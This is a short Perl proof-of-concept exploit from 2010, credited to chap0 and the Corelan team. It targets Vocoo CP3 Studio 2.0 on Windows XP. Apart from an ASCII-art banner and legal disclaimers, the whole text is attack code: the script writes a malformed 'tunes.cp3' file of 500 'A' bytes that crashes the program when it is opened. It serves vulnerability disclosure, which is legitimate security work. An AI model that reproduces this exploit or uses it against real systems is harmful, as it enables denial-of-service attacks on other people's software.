# Exploit Title : CP3 Studio PC Ver. Dos
# Date          : June 12, 2010
# Author        : chap0 - [www.seek-truth.net] 
# Link 		: http://www.vocooo.com
# Version       : 2.0
# Tested on     : Windows XP SP3 En 
# Greetz to     : Corelan Security Team
# The Crew	: http://www.corelan.be:8800/index.php/security/corelan-team-members/
# Advisory	: http://www.corelan.be:8800/advisories.php?id=CORELAN-10-051
#
# Script provided \'as is\', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.  
# If you do, Corelan cannot be held responsible for any damages this may cause.
#
# Code :
#!/usr/bin/perl
print \"|------------------------------------------------------------------|\\n\";
print \"|                         __               __                      |\\n\";
print \"|   _________  ________  / /___ _____     / /____  ____ _____ ___  |\\n\";
print \"|  / ___/ __ \\\\/ ___/ _ \\\\/ / __ `/ __ \\\\   / __/ _ \\\\/ __ `/ __ `__ \\\\ |\\n\";
print \"| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |\\n\";
print \"| \\\\___/\\\\____/_/   \\\\___/_/\\\\__,_/_/ /_/   \\\\__/\\\\___/\\\\__,_/_/ /_/ /_/  |\\n\";
print \"|                                                                  |\\n\";
print \"|                                       http://www.corelan.be:8800 |\\n\";
print \"|                                                                  |\\n\";
print \"|-------------------------------------------------[ EIP Hunters ]--|\\n\\n\";
print \"[+] Vocoo CP3 Studio 2.0 Dos. . .\\n\\n\";
sleep(2);
my $play = \"tunes.cp3\";

my $buffer = \"\\x41\" x 500;

open(FILE,\">$play\");
print FILE $buffer;
close(FILE);

print \"[+] Music Provided by chap0 visit www.corelan.be:8800\\n\";